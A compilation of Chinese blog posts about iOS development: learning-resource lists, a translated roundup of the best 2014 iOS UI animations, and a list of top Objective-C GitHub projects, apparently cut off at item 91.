iOS Dev Weekly (每周一期，内容多为这一星期里值得关注的 GitHub 项目、文章、工具等)

	
iOS Design Weekly (Tips, news and inspiration delivered each week)



文档



	
iOS Developer Library (iOS 开发必看, 有此文档足矣, 内容非常之详细)



指南/教程




	网址
  	简介





	App Store Review Guidelines
  	iOS 应用商店审核指南, 有中文翻译版




	Swift 语言指南
  	有很多丰富的 Swift 学习资料, 学习 Swift 有这份资料可以省下很多力气



	苹果 Xcode 帮助文档阅读指南
  	Tinyfool 推出的一篇对于帮助新手阅读官方文档的指南



	Get started with your iOS developer pragram
  	苹果写的一篇入门指南, 粗略讲解了 iOS 程序从开发到上架的整个流程



	Teamtreehouse
  	文章主要讲解 Objective-C 的一些语法, 文章内容有趣且通俗易懂



	A map for iOS development
  	一张 iOS 开发地图, 做得很赞, 看完对 iOS 开发流程有一定的认知



	Start Developing iOS Apps Today
  	苹果官方给出的 iOS 入门教程, 看过之后能够做一个 To-Do 小程序



	Ry’s Objective-C Tutorial
  	讲解 Objective-C 的教程, 图文并茂, 适合新手阅读





Awesome 系列



	Awesome iOS

	Awesome-Swift(1)

	Awesome-Swift(2)



知乎上的讨论



	如何才能系统的学习 iOS 开发，理解一些规则和深层次的机制原理？

	没有 C 和 Objective-C 基础如何快速学习 iOS 开发？

	iOS 开发怎么入门?

	iOS 开发入门需要学习哪些知识，从一无所知到精通需要多长时间？

	12 岁如何入门 iOS 编程？

	GitHub 上都有哪些值得关注学习的 iOS 开源项目？



Quora 上的讨论



	What are the best resources to learn iOS development?

	What are the best new resources for learning iOS development in 2014?



贡献者


点击该链接查看该项目的所有贡献者


License


以上内容采用 CC BY-NC-SA 3.0 进行许可, 转载请注明出处, 版权归本人及所有贡献者所有



  GitHub 地址: https://github.com/Aufree/trip-to-iOS

  未来我会在微博不定时推送一些较新的第三方的库的使用, 欢迎关注 :D




 [翻译] 2014年最佳iOS UI动画

作者：戴仓薯

来源： [翻译] 2014年最佳iOS UI动画



                    
本文由 戴仓薯（也就是我！） 翻译，赖信涛 校稿。首发于伯乐在线。

英文出处：beautifulpixels.com。


本文实例视频均在 youtube 上，需翻墙


在 The Highlight 2014 的第三天，我们为您带来这一系列从 app 和互联网中精心挑选出的最佳 UI 动画。App 向来是 UI 的实验田，能在 app 里看到令人愉悦、体验良好的动画一向是件很棒的事。设计师和开发者们一直努力为 app 提供最好的用户体验。我们发布的 2013 精选集是 2014 年 Beautiful Pixel 上访问量最大的文章，这对 app 开发者是最好的鼓励。以下是我们今年的精选集：


Design Shots


视频演示


App Store 上有一大堆 Dribbble 客户端的 app。前段时间，Dribbble app 大量涌现，我们在 Beautiful Pixel 上也有所报道。但是其中的绝大部分发布之后就再也不更新了。而 Design Shots 则不然，首次发布就很亮眼，而且后面也在持续更新新特性。它的动画效果尤其出色。动画效果之间契合得很好，完全没有胡乱堆砌动画库的感觉。点击头像切换到个人资料页面的动画很精彩。Design Shots 里的动画会跟随你手指的划动而动，正是这些细节的设计使它出众。iPhone 版的 Design Shots 可以在 App Store 上免费下载到，不试用一下都对不起自己啦。


Lush


视频演示


Lush 在设计上面面俱到。从精美极简的 app 图标到 app 里五彩缤纷的标志符，Lush 无疑在众多混合饮料 app 中鹤立鸡群。Lush 的动画效果也是顶级的。饮料滑过屏幕，就像老式西部电影的酒吧里饮料滑过桌面。像 tab bar 这类的细节，都经过了充分的设计，带有可爱的颜色变幻动画和高光，让人感觉像在家里一样。app 里的每款鸡尾酒都有单独的设计，可圈可点。而 Lush 的动画无疑让 app 给人留下深刻印象。遗憾的是，这个 app 至今都没适配 iPhone 6 和 6 Plus 的大屏幕。但它仍然值得拥有。Lush 在 App Store 上架，价格 $1.99。


Clima


视频演示


Clima 是 iPhone 上最好的天气 app 之一。它就是一个简单的 app，充满让人愉快的动画效果。切换不同界面的过渡效果很棒，还伴随着俏皮的跳动。只需轻轻几点，Clima 就能展示出详细的天气情况。当它获取温度信息时，还有一个可爱的彩色条纹波动动画。在 App Store 里泛滥的极简天气 app 中，Clima 与众不同。Clima 在 App Store 上架，价格 $0.99。希望它很快会适配新 iPhone 的大屏幕吧。


Storehouse


视频演示


Storehouse 是最近在 App Store 登场的最佳 app 之一，荣获了今年的 App 设计大奖。Storehouse 在 iPad 上非常风靡，在 iPhone 的小屏幕上表现同样出色。app 上手几分钟即可清晰感受到，开发团队在同时适配这两种设备上做足了功夫。无论是浏览社区里发表的文章还是自己发表文章，app 的动画设计无微不至。我们尤其喜欢下拉刷新的微妙动画，以及滚动页面时照片落入的方式。Storehouse 可以在 App Store 免费下载，支持 iPhone 和 iPad。


ReadMe


视频演示


在 ReadMe.io 网站上注册或登录时，它的吉祥物猫头鹰会让你眼前一亮。在注册页面，猫头鹰会用右边的羽毛指着当前获得焦点的输入框。随着焦点切换到下一个输入框，它的羽毛也跟着移动。在登录页面，当焦点移动到密码输入框时，猫头鹰会捂住眼睛，不看你的密码。这些动画效果都是用细节打动用户的典型例子。


Unread


视频演示


Unread 是一款出色的 RSS 阅读器，支持 iPhone 和 iPad，我们前段时间就推荐过它。它的动画效果和手势好得出奇，我们尤其喜欢的是下拉刷新的动画。这个 app 最早是由 Jared Sinclair 制作，现在是由 Supertop 继续开发。整个 app 里充满了精巧而微妙的细节，让使用体验非常愉快。Unread 可以在 App Store 上免费下载，支持 iPhone 和 iPad。


TodoMovies


视频演示


我们很喜欢 TodoMovies，之前向电影迷们推荐过这款 app，它能很好地帮你发现和管理“想看”和“看过”的电影。在这个app 里，当你点击某个电影的分享按钮时，会出现一个巧妙的小动画。电影的海报缩小成一个圆圈，而四面飞出 4 种渠道的分享按钮。你要亲眼看到这个动态过程，才能领略它的好处。TodoMovies 可以在 App Store 免费下载。


特别推荐：Google Play 箭头


Google 新的 Material Design 原则和实现，有很多方面令人赞叹；而我们尤其喜欢的是 Google Play 之类的 app 里，汉堡三线按钮变成黑色箭头的方式。变化的动画效果很巧妙。看到过一个类似的例子，是 starwars.com 上汉堡三线按钮变成两道激光剑的动画；但那是在 web 页面上，动画卡得比较厉害，结果给人的感觉不是很好。


特别推荐之二：Gmail iOS版客户端收件夹为空的动画


Google 的运动图形设计师 John Schlemmer 向我们介绍了这个他参与制作的漂亮动画效果，是在 Gmail 的 iOS 客户端上，当你的收件夹为空时显示的。我们之前完全错过了它。





Dribbble 上用 GIF 模仿的效果


2014 年在 UI 动画方面最令人失望的是，Pocket Casts 在下拉刷新时去掉了它标志性的收音机调频的动画。我们不确定原因为何，只能为它的消失而伤心不已。


本周我们有一系列令人期待的新文章，所以快来订阅我们的 RSS、Twitter 和 Facebook 吧。是 Beautiful Pixels 忠实读者的爱和反馈，让本次 The Highlight 2014 成为可能。感谢您的支持。


 iOS 学习资料整理（上）

作者：Pocher

来源： iOS 学习资料整理（上）



                    
看到一份很赞的IOS学习资料，由于SF文章字数限制，分两篇分享

原文 iOS 学习资料整理


这份学习资料是为 iOS 初学者所准备的, 旨在帮助 iOS 初学者们快速找到适合自己的学习资料, 节省他们搜索资料的时间, 使他们更好的规划好自己的 iOS 学习路线, 更快的入门, 更准确的定位的目前所处的位置.


该文档会持续更新, 同时也欢迎更多具有丰富经验的 iOS 开发者将自己的常用的一些工具, 学习资料, 学习心得等分享上来, 我将定期筛选合并, 文档尚有一些不完善之处, 也请不吝指出, 感谢您对 iOS 所做的贡献, 让我们一起把国内的 iOS 做得更好, 谢谢.


GitHub 地址: https://github.com/Aufree/trip-to-iOS


如果您有任何意见也可以通过邮件或微博联系我


视频教程(英文)




	视频
  	简介





	Developing iOS 7 Apps for iPhone and iPad
  	斯坦福开放教程之一, 课程主要讲解了一些 iOS 开发工具和 API 以及 iOS SDK 的使用, 属于 iOS 基础视频



	iPad and iPhone Application Development
  	该课程的讲师 Paul Hegarty 是斯坦福大学软件工程学教授, 视频内容讲解得深入, 权威, 深受好评



	Advanced iPhone Development - Fall 2010
  	iOS 开发的进阶课程, 开始涉及到 Core Animation, Core Data, OpenGL 等框架的应用



	iOS Dev Center
  	苹果官方提供的 iOS 学习视频



	Lynda
  	Lynda 上面 iOS 和 Objective-C 的学习资料比较多, 从初级到高级的都有, 覆盖面比较广, 无论 iOS 走到哪个层次, 都可以在上面挑到适合自己的课程



	Code School
  	CodeSchool 上面的 iOS 不多, 不过质量都不错, 一些课程也挺有趣的



	Udemy
  	Udemy 帮助初学者规划了视频学习路线, 从新手到高级分的比较详细





视频教程(中文)




	视频
  	简介





	iOS 7应用开发
  	斯坦福白胡子老爷爷的系列视频, 所有视频皆完成翻译, 视频较新, 翻译质量也很高



	iPhone开发教程2010年冬
  	全部视频翻译完毕, 较为深入的讲解 iPhone 开发, 视频适合给有一定 Objective-C 基础的人观看



	使用Swift开发iOS8 App实战
  	慕课网的视频, 主要讲 Swift 的一些基本使用, 并在讲解的过程中做了几个小 APP, 最后还讲了 Sketch 制作分享按钮



	征战Objective-C
  	视频还未完结, 讲了一些 C 和 Objective-C 的基本语法, 适合零基础的人观看





书籍




	书籍名称
  	推荐理由





	Objective-C Programming
  	内容不多, 却都是精华, 有了一点 C 语言基础可以快速阅读此书, 大概一天时间就可以看完, 看完后对 iOS 开发能够有个基本的印象



	iOS Programming
  	这本书在 Quora 上被评为 iOS 入门最佳书籍, 具体评价可见豆瓣下方该书籍的评论



	Cocoa Design Patterns
  	适合打算深入了解 Cocoa 的人看



	Learn Objective-C
  	短小精练, 适合有编程基础的人在半小时内对 Objective-C 有个一定了解



	Programming with Objective-C
  	看完 Learn Obj-C 可以接着看这个官方对 Objective-C 更为深入的介绍



	Objective-C 基础教程
  	该书作者 Scott Knaster 是 Mac 开发界的传奇人物, 目前在 Google 出过多数书籍都广受许多程序员好评, 此书适合从初级跳到中级的 iOS 开发者阅读



	iOS 开发进阶
  	该书作者唐巧是国内 iOS 开发界的名人, 曾参与多个知名软件的开发, 目前该书尚在预售中, 书本内容由浅入深, 将读者一步一步引入到 iOS 中去, 同样适合初级跳到中级的 iOS 开发者阅读



	Programming in Objective-C
  	这本书在亚马逊上面深受欢迎, 有关 Objective-C 的东西讲得非常详细



	iOS 测试指南
  	该书作者是豆瓣的员工, 书中写的多数内容都是作者在平时的工作实践当中提炼出来的测试经验, 重点讲述了各个测试阶段的具体实践方法, 并且通过持续集成串联了各个测试阶段的活动。



	Objective-C编程之道
  	解析 iOS 的开山之作, 详细介绍了 MVC 在 Cocoa Touch 上的运作过程, 该书适用于 iOS 中级开发者阅读



	Objective-C高级编程
  	本书主要介绍 iOS 与 OS X 多线程和内存管理, 深入破析了苹果官方公布的源代码, 告诉你一些苹果公司官方文档中不会出现的知识, 适合中级以上 iOS 开发人员阅读



	Effective Objective C 2.0
  	书里写了编写高质量iOS与OS X代码的52个有效方法, 适合 iOS 开发的进阶使用



	Swift Fundamentals
  	估计将来这本书会成为 Swift 的经典入门书籍, 它的 Stars 数说明了一切



	The Swift Programming Language 中文版
  	90 后开发者梁杰组织翻译的 Swift 编程语言中文版





博客




	博客地址
  	博主信息





	OneV's Den
  	王巍(喵神), 现居日本, 就职于 LINE, 知名 iOS 开发者, 写的文章大多深入浅出, 内容广泛, 目前在维护的 Swifter 也值得收藏



	唐巧的技术博客
  	唐巧, 国内知名 iOS 开发者, 现就职于猿题库, 博客推出的 iOS 移动开发周报很受欢迎, 更新频繁



	txx's blog
  	90 后 iOS 开发者, 人称虾神, 文章内容讲解大多浅白易懂, 很值得看



	破船之家
  	博主也是 iOS 大神一个, 经常更新一些 iOS 教程, 文章的质量都很高, 非常值得看



	NSHipster
  	NSHipster 的中文网站, 主要对 NSHipster 的英文网站进行翻译, 博文出自 Mattt 大神之手, 文章大都写得很深入, 详细, 每周一更



	Limboy 无网不剩
  	李忠, 知乎前员工, 目前在负责花瓣 iOS 开发, 不少文章里面有介绍博主个人的学习方法, 让读者在学到技术的同时也掌握学习的技巧



	念茜的博客
  	iOS 圈的女神人物, 写的关于安全问题的文章都值得一看, 由于新博客刚开通不久, 目前文章较少, 可以去看下她以前的博客




	iOS技术周报
  	吴发伟, 天猫资深软件开发工程师, iOS 技术周报每周一更, 推送一些 iOS 技巧, 代码库, 设计等资讯.



	iWangKe.me
  	王轲, IndieBros Studio 创始人, 优秀的 iOS 开发工程师, 写的文章深入浅出, 很多问题分析透彻, 非常有条理性



	叶孤城
  	叶孤城, 优秀 iOS 开发工程师, 发表的文章都有很多干货, 对源码解析类文章写得浅显易懂, 并时常总结一些 iOS 开发技巧, 值得一读



	Kevin Blog
  	周楷雯, 秒视创始人, 知名 iOS 工程师, 做出了 PNChart和 Waver 这样的好项目, 在博客中也有谈到具体的实现过程



	IMTX
  	图拉鼎, 知名 Apple 平台开发者, 曾经的 Ubuntu 平台开发者, 文章有不少干货, 大多讲解技术实现和学习经验



	更多
  	唐巧收集的中文 iOS/Mac 开发博客列表, 更新频繁, 值得收藏





文章




	标题
  	内容简介





	Learn Objective C: The Path to iPhone Development
  	Udemy 写的文章, 说明了一些学习 Objective-C 的前提条件, Objective-C 的发展历史, 学习方法以及学习资源



	I Want to Write iOS Apps. Where Do I Start?
  	主要对 iOS 的开发环境进行了介绍, 并且涉及到了 Swift 的学习, iOS 上架的注意事项, iOS 的设计, 测试, 代码托管等, 讲解较为广泛, 同时也给出不少学习资源



	How to become a professional iOS developer
  	文章写的很有条理, 文中多次强调了版本控制系统的重要性, 主要内容是对学习 iOS 开发到就职, 给出了自己的建议



	Learning iOS Programming
  	作者总结了一些自己学习 iOS 的血的教训, 最后给出了一些不错学习建议



	Become an iOS Developer
  	作者列举了一些学习 iOS 的方法以及常用的库, 以及自学 iOS 的一些建议



	iOS开发如何提高
  	唐巧写的一篇文章, 主要是对 iOS 技术的提高做的一个总结, 文中不少资源, 工具, 学习方法



	自学 iOS 开发的一些经验
  	文章从入门到进阶到高级, 分为三个阶段, 有条理的讲出了 iOS 的整个学习过程中开发者可能遇到的问题, 并给出了解决办法, 奉献了不少好工具, 资源还有珍贵的学习经验



	如何从 0 开始学 iOS 开发
  	作者给出了学习 iOS 的流程, 并给出一些不错的学习资源



	如果我可以重新学习iOS开发
  	作者在文中给出了学习的一些建议, 也谈到了自己的学习方法



	iOS开发学习路径的一些建议
  	文中谈到了英语的重要性, 以及写博客, 看源代码的好处



	iOS 开发入门
  	作者分享了自己学习 iOS 的经验和资源



	Mac 和 iOS 开发资源汇总
  	破船之家发布的资源汇总





相关网站




	网站
  	简介





	tutsplus
  	不定时更新一些 iOS 教程



	WWDC
  	苹果官方每年一度的 WWDC 视频, 可以了解历年有关 iOS 发布的内容



	ASCIIwwdc
  	WWDC 的文字版



	Awesome Swift
  	该网站收集了很多关于 Swift 的学习资料, 新闻



	Appcoda
  	经常发布一些 iOS 编程教程, 更新比较频繁, 想了解更多可以查看该网站的 About 界面



	NSHipster
  	NSHipster is a journal of the overlooked bits in Objective-C, Swift, and Cocoa. Updated weekly.



	Think and Build
  	Some tutorials about Core Graphic and Core Animation.



	Tutorials
  	大把的 Objective-C, Swift, iOS 教程, 且全部免费, Raywenderlich 真是业界良心, 赞!





社区




	社区
  	简介





	CocoaChina
  	全球最大苹果开发者中文社区



	code4app
  	经常更新一些很不错的 iOS 代码片段和一些 iOS 资源



	objc
  	定期发布一些有关 Objective-C 的高质量的文章



	objc中国
  	喵神组织的对 objc.io 的翻译网站, 旨在推进国内技术圈整体水平, 翻译质量非常高



	DevDiv
  	发布一些 iOS 的最新资讯及教程



	Cocos2d-x
  	Cocos2d-x 论坛



	iPhone Dev SDK
  	国外较有名的 iOS 开发者论坛



	Learn Cocoa and iOS Development Forum
  	
Learn Cocoa on the Mac 和 Beginning iOS 7 Development 这两本书籍的官方论坛, 用户活跃度较高



	Apple Developer Forums
  	苹果官方的开发者论坛





工具/插件




	工具/插件
  	简介





	CocoaPods
  	开发 OS X 和 iOS 应用程序的一个第三方库的依赖管理工具, 本身是 Ruby 的一个 gem, 极大的简化了 Objective-C 的开发流程



	Alcatraz
  	Alcatraz 是一款管理 Xcode 插件、模版以及颜色配置的工具



	XcodeColors
  	使 Xcode 调试控制台色彩更丰富



	xctool
  	Facebook 开源的一个 iOS 编译和测试的工具



	XToDo
  	一款注释辅助插件，主要用于收集并列出项目中的TODO, FIXME, ???, !!!




	KSImageNamed-Xcode
  	自动补全图片命名的一款插件



	VVDocumenter
  	一个自动生成代码注释的工具



	ImageOptim
  	用于压缩图片一款工具



	iOS 必备的 75 个工具
  	其中包含了非常多好用的工具, 涉及到设计, 分析, 部署等, 总结的十分详细, 有中文翻译




	更多
  	唐巧总结的一些图形应用工具, 命令行工具, Xcode 插件, 并介绍了一点基础的用法






 GitHub 上排名前 100 的 Objective-C 项目简介

作者：Paul_King

来源： GitHub 上排名前 100 的 Objective-C 项目简介



                    
主要对当前 GitHub 排名前 100 的项目做一个简单的简介, 方便初学者快速了解到当前 Objective-C 在 GitHub 的情况.


GitHub 地址:https://github.com/Aufree/trip-to-iOS/blob/master/Top-100.md
若有任何疑问可通过微博@李锦发联系我




	项目名称
  	项目信息





	1. AFNetworking

  	作者是 NSHipster 的博主, iOS 开发界的大神级人物, 毕业于卡内基·梅隆大学, 开源了许多牛逼的项目, 这个便是其中之一, AFNetworking 采用 NSURLConnection + NSOperation, 主要方便与服务端 API 进行数据交换, 操作简单, 功能强大, 现在许多人都用它取代 ASIHTTPRequest



	2. GPUImage

  	一款强大的图片滤镜工具, 支持自定义滤镜, 可用来实时处理图片和视频流, 作者是 SonoPlot 公司的 CTO, 在很小的时候便开始接触编程, 他在 SO 上面的回答也有很多值得阅读, GPUImage 这个项目从 2012 年开始, 使用 OpenGL 图形程序接口编写, 性能非常好, 现在很多 iOS 程序员都用它来实现 iOS 的模糊效果



	3. SDWebImage

  	作者 Olivier Poitrey 是 Dailymotion 的 CTO, 拥有多个不错的开源项目, 此项目常用于对从 Web 端接受到的图片进行缓存, 是 UIImageView 的扩展, 应用起来比较简单



	4. RestKit

  	主要用于 iOS 上网络通信, 允许与 RESTful Web 服务交互, 常用于处理 API, 解析 JSON, 映射响应对象等操作, 简单易用, 方便你把所有精力都放在对数据的操作上



	5. ReactiveCocoa

  	由 GitHub 工程师们开发的一个应用于 iOS 和 OS X 开发的函数响应式编程新框架, Matt 称其为 "An open source project that exemplifies this brave new era for Objective-C", 也有人说它是 Cocoa 的未来, 具体可看唐巧写的这篇文章




	6. three20

  	由 Facebook iOS 客户端衍生出的一款 iPhone 框架, 内置许多丰富的功能, 有丰富的界面, 对底层的操作便捷, 为开发者省下了很多时间, 但现在已经停止了更新, 一个 PR 把代码删得干干净净, 不要好奇去点开 Files changed, 我点开后该页面直接卡死, three20 当中的一位作者创建了 Nimbus, 算是 three20 的一个替代品



	7. MBProgressHUD

  	作者 Matej Bukovinski 是一位全栈工程师, UI/UX 设计师,  此项目是一款提示框第三方库, 帮助开发者快速应用到项目中)



	8. MagicalRecord

  	作者是 Coursera 的 iOS 工程师, 该项目创作灵感来自于 Ruby on Rails 的 Active Record, 主要为方便操作 CoreData 而生, 帮助清除 CoreData 引用的代码, 协助方便 CoreData 的工作



	9. FMDB

  	一个对 SQLite 进行封装的库, 使用起来方便, 简单



	10. Mantle

  	作者是 GitHub 的员工, 文档写的很清楚: Mantle makes it easy to write a simple model layer for your Cocoa or Cocoa Touch application, 主要用来将 JSON 数据模型化为 Model 对象, 唱吧在前段时间也改用 Mantle 了.



	11. FlatUIKit

  	收集了很多扁平化 UI 的 iOS 组件, 方便使用



	12. ASIHTTPRequest

  	一个轻量级的 iOS 网络通信类库, 基于 CFNetwork 框架开发, 但现在已经停止更新, 多数开发者改用 AFNetworking 替代)



	13. FastImageCache

  	Path 公司出品的 iOS 库, 作者 Mallory Paine 是苹果前员工, 此类库适用于在滚动时快速显示图像, 高速持久是其最大的特点



	14. Masonry

  	一个轻量级的布局框架, 同时支持 iOS 和 Mac OS X, 语法优雅, 帮助开发者快速适配不同分辨率的 iOS 设备



	15. Shimmer

  	Facebook 推出的一款具有闪烁效果的第三方控件, 供它旗下一款名为 Paper 的应用使用, 安装使用整个过程都十分简单



	16. SVProgressHUD

  	又一款轻量级的 iOS 第三方控件, 用于显示任务加载时的动画, 非常轻便, 容易使用



	17. Slate

  	一款窗口管理应用程序, 但在两年前就已经停止更新了



	18. JSONKit

  	主要用于解析 JSON, 适用于 iOS6 以下环境, 自从 iOS5 开始 Apple 官方给出了 NSJSONSerialization API, 自此大家都用官方的了



	19. Nimbus

  	作者 Jeff 曾为 Facebook, Google 做过不少好东西, 也是 three20 的成员之一, three20 停更后, 他创造出这个框架来代替 three20, 文档齐全



	20. CocoaLumberjack

  	这是 Mac 和 iOS 的一款强大的日志框架, 配置简单, 多线程, 提供更高级的 log 功能, 可用于代替默认的 NSLog 语句



	21. Facebook SDK for iOS

  	Facebook 官方的 iOS SDK, 方便开发者集成 Facebook 的一些功能到自己的 iOS APP 里面



	22. AsyncDisplayKit

  	Facebook 开源的一款 iOS UI 框架, Paper 用的就是该框架, 另外框架还用到了 Facebook 早期开源 Pop 动画引擎



	23. Alcatraz

  	Alcatraz 是一款管理 Xcode 插件、模版以及颜色配置的工具, 可以集成到 Xcode 的图形界面中, 安装删除都是几条命令的事, 很方便, 支持自己开发插件并上传



	24. ViewDeck

  	一款开源的 iOS 活动面板组件, 还原 Path 2.0 的侧滑效果, 作者因为时间关系在两年前停止对其更新



	25. JSQMessagesViewController

  	优雅的 iOS 消息类库, 常用于聊天应用中, 可定制性高



	26. FLEX

  	这是 Flipboard 官方发布的一组专门用于 iOS 开发的应用内调试工具, 开发者无需将其连接到 LLDB/Xcode 或其他远程调试服务器,支持直接在 App 中运行



	27. Xctool

  	是 Facebook 开源的一个命令行工具，用来替代苹果的 XcodeBuild 工具, 极大的方便了 iOS 的构建和测试, 输出错误信息也比较友好, 受到许多 iOS 开发者的称赞, 经常与其搭配使用的还有 OCUnit, Travis CI, OCLint 等测试工具



	28. OpenEmu

  	超强的游戏模拟器, 做游戏开发必备, 官网做得也很不错



	29. iCarousel

  	作者是英国 Charcoal Design 公司的创始人, 开源领域的贡献颇为卓著, 这个项目就是其中之一, 这是一款可以在 iOS 上实现旋转木马视图切换效果的第三方控件, 并提供多种切换效果



	30. RESideMenu

  	作者 Roman Efimov 是雅虎的 iOS 工程师, 这个项目实现了 iOS 上的菜单侧滑效果, 创意来源于 Dribbble, 该项目支持 iOS8



	321 PNChart

  	作者周楷雯是 90 后, 秒视的创始人, 该项目是一个带动画效果的图表控件, 简约易用, 受到不少开发者喜爱



	31.2PonyDebugger

  	由 Square 公司推出的一款优秀的 iOS 应用网络调试工具, 用户可以实时看到应用程序的网络请求, 也可以对 iOS 应用程序的核心数据栈进行远程调试



	33. JVFloatLabeledTextField

  	作者是 Thumb Labs 的联合创始人, JVFloatLabeledTextField 是 UITextField 的子类, 主要实现输入框标签浮动效果, 创作灵感来自 Dribbble, 已出现多个移植版本



	34. SWTableViewCell

  	UITableViewCell 的子类, 实现了左右滑动显示信息视图并调出按钮



	35. AwesomeMenu

  	作者是一位中国人, 该项目主要是使用 CoreAnimation 还原了 Path menu 的动画效果



	36. Reachability

  	Reachablity 是用于检测 iOS 设备网络环境的库



	37. VVDocumenter-Xcode

  	作者是王巍国内著名的 iOS 开发者, 人称喵神, 目前在日本 LINE 公司工作, 该项目帮助开发者轻松的生成注释文档, 节省了不少工作量, 赞



	38. The Physical Web

  	由 Chrome 团队主导的一个项目, 意在用 URL 连接世界, 方便用户接受数据, 目前尚处在实验阶段



	39. NewsBlur

  	作者独自一个人 Samuel Clay 做出来的一款名为 NewsBlur 的新闻阅读器, 很多人都称其为 Google Reader 的替代品, 这是它的源码



	40. Cocos2D-SpriteBuilder

  	一个可用于在 iOS, Mac 和 Android 上制作 2D 游戏或其它图形/交互应用的框架, 之前的项目名称为 Cocos Swift,  目前该项目在 GitHub 上更新较为频繁



	41. TTTAttributedLabel

  	UILabel 的替代品, 使 iOS 上的 Label 功能更加丰富, 可支持链接植入等功能



	42. CocoaAsyncSocket

  	一个功能强大、简单易用的异步 socket 通讯类库, 支持 TCP 和 UDP 协议, 可用于 Mac 和 iOS 设备上, 作者 Robbie Hanson 是 Deusty 的首席软件工程师



	43. TapkuLibrary

  	作者是 Devin Ross, 这是在 iOS 上一款功能强大的 UI 效果类库, 可以实现多种酷炫的效果, 目前仍在更新中



	44. Canvas

  	无需编码实现牛逼的动画效果的库, 连设计师都可以快速上手



	45. SocketRocket

  	Square 公司开源的一个 WebSocket 客户端, 稳定并且易用, 做实时应用常会用到, 受广大开发者喜爱



	46. ECSlidingViewController

  	一个视图控制器容器, 将子视图处理成两层, 通过滑动来处理层的切换, 创作灵感来自 Facebook 和 Path的 App, 作者是 Cleveland 的员工



	47. Json Framework

  	用于解析 JSON 数据的一个框架, 但是在 iOS5 以上版本大多数人都选择使用 NSJSONSerialization 来解析 JSON, 该项目现在在 GitHub 上也几乎没怎么更新了



	48. Tweaks

  	Facebook 开源的一款工具, 旨在帮助 iOS 开发者更快的迭代应用, 方便用户动态的调整参数, 是的, Paper 这个项目也用到了



	49. realm-cocoa

  	Realm-Cocoa 是 Realm 公司推出一款移动端数据库, 可以运行在手机、平板和可穿戴设备之上, 其目标是取代 CoreData 和 SQLite 数据库



	50. BlocksKit

  	一个开源的与 Cocoa 紧密集合的基础性框架



	51. Appirater

  	一款用于提醒用户给你的 App 打分的工具



	52. KIF

  	Square 出品的一个开源的用户界面测试框架, 极大的简化了 iOS 开发者的 UI 测试流程



	53. SlackTextViewController

  	Slack 推出的一款具有文字输入框高度自适应, 自动输入, 复制单元格内容等功能的解决方案



	54. JazzHands

  	IFTTT 开源的一个简单易用的关键帧基础动画框架, 可通过手势、scroll views, KVO, ReactiveCocoa 等方式来控制动画



	55. Bolts-iOS

  	Bolts 是一个 Parse 和 Facebook 在内部使用的底层库, 方便移动开发



	56. Spectacle

  	一款易用的 OS X 窗口分屏操作快捷键工具, 这是其源代码



	57. nui

  	方便样式化 iOS 应用中的 UI 元素, 可在短时间内样式化整个应用, 类 CSS 原理



	58. Induction

  	Induction 是一款用于理解数据关系的管理工具, 这是其程序代码



	59. JSONModel

  	一个能迅速解析服务器返回的 Json 数据的库, 方便数据的类型转换



	60. DTCoreText

  	一个开源的 iOS 富文本组件, 它可以解析 HTML 与 CSS 并最终用 CoreText 绘制出来, 通常用于在一些需要显示富文本的场景下代替低性能的 UIWebView



	61. Popping

  	基于 Facebook Pop 引擎的 iOS 动画库, 集合了很多动画效果



	62. TSMessages

  	一个用来弹出显示警告和通知的轻量级库, 样式丰富, 简单易用



	63. KVOController

  	一个简单安全的 KVO(Key-value Observing, 键-值 观察)工具, 提供简单方便、线程安全的API, Facebook 的开源项目之一



	64. MWPhotoBrowser

  	一款简单的 iOS 照片浏览控件



	65. MMDrawerController

  	一个轻量级, 易于使用的侧边抽屉导航 iOS 控件



	66. QuickDialog

  	用于快速创建复杂的 iOS 表单, 自定义了 UITableViewCell, TableView 的样式



	67. SVPullToRefresh

  	一款只需一行代码便可集成上拉刷新和下拉加载的组件



	68. cheddar-ios

  	Cheddar 是一款简单易用的日程管理软件, 这是其早期版本的开源代码, 该项目已停止维护



	69. XVim

  	一款在 Xcode 上实现了 Vim 功能的插件



	70. EGOTableViewPullRefresh

  	一款提供下拉刷新的控件, 最后更新时间是一年前



	71. iOS-boilerplate

  	iOS 应用程序的基础模板, 使用该模板可以省掉许多项目初始编码的工作, 内置非常多丰富的功能, 现已经停止维护



	72. JASidePanels

  	一个 UIViewController 容器, 灵感来自 Facebook 和 Path 2.0 应用的菜单, 实现了左右侧滑的操作



	73. FormatterKit

  	收集了很多构思优秀的 NSFormatter 子类



	74. MSDynamicsDrawerViewController

  	实现了具有动态弹性效果的抽屉式侧边导航栏, 效果丰富, 可定制性强



	75. idev-recipes

  	iDevRecipes 博客的代码, 演示如何实现一些有趣的控件, 该项目在两年前(2013)停止了更新



	76. XMPPFramework

  	一个基于 RFC-3920 实现, 支持多线程和线程保护, 同时通用于所有的 iOS 和 Mac OS 开发设备的通信框架.



	77. MacGap1

  	一款可以将 HTML/CSS/JS 网络应用打包成原生 Mac App 的工具



	78. FXBlurView

  	iOS 模糊背景类库, 可以方便的根据底层显示的状态生成模糊效果



	79. iOS7-Sampler

  	整合演示了多个具有 iOS7 新特性的的项目, 提供了非常多的例子参考



	80. PromiseKit

  	提供强大的 iOS 开发异步功能, 是 Promises 的实现, 受到广大开发者的追捧



	81. Origami

  	此为 Facebook 推出的 Quartz Composer 的一个开源插件, 由其设计团队花费了 9 个月打造而成, 目的是为方便设计师快速构建原型, 以零代码完成复杂动画的合成和测试, 堪称神器



	82. NSLogger

  	一款强大的日志分析工具, 具有大窗口查看 Log, 自定义日志等级等功能



	83. KSImageNamed-Xcode

  	一款对 UIImage 的 imageNamed 提供自动补全功能的插件, 非常方便



	84. PureLayout

  	一个简单却强大的 AutoLayout API 库, 兼容了 Objective-C 和 Swift, 扩展了 UIView/NSView, NSArray, 和 NSLayoutConstraint



	85. AppleDoc

  	一款 Objective-C 文档生成工具, 生成的文档风格保持与 Apple 官方的一致, 极大的方便了 Xcode 识别自己写的 API 文档, 安装也是十分的简单



	86. iTerm2

  	iTerm2 被不少程序员称赞为 Mac 下最好用的终端, 这是其源代码, 配合 oh-my-zsh 使用效果更佳



	87. Kiwi

  	一个行为驱动开发测试框架, 适用于 iOS 平台, 旨在为开发者提供一个简单配置便可使用的 BDD 库



	88. terminal-notifier

  	一款命令行工具, 用来给 Mac OS X 用户发送通知



	89. MacDown

  	Mac OS X 下的一款开源的 Markdown 编辑器, 创意来自与 Mou, 使用 brew cask 即可完成安装



	90. TwUI

  	Twitter 开源的一个支持硬件加速的 Mac 的 UI 框架, 最后一次的更新时间是在 3 年前(2012)



	91. PaperFold for iOS

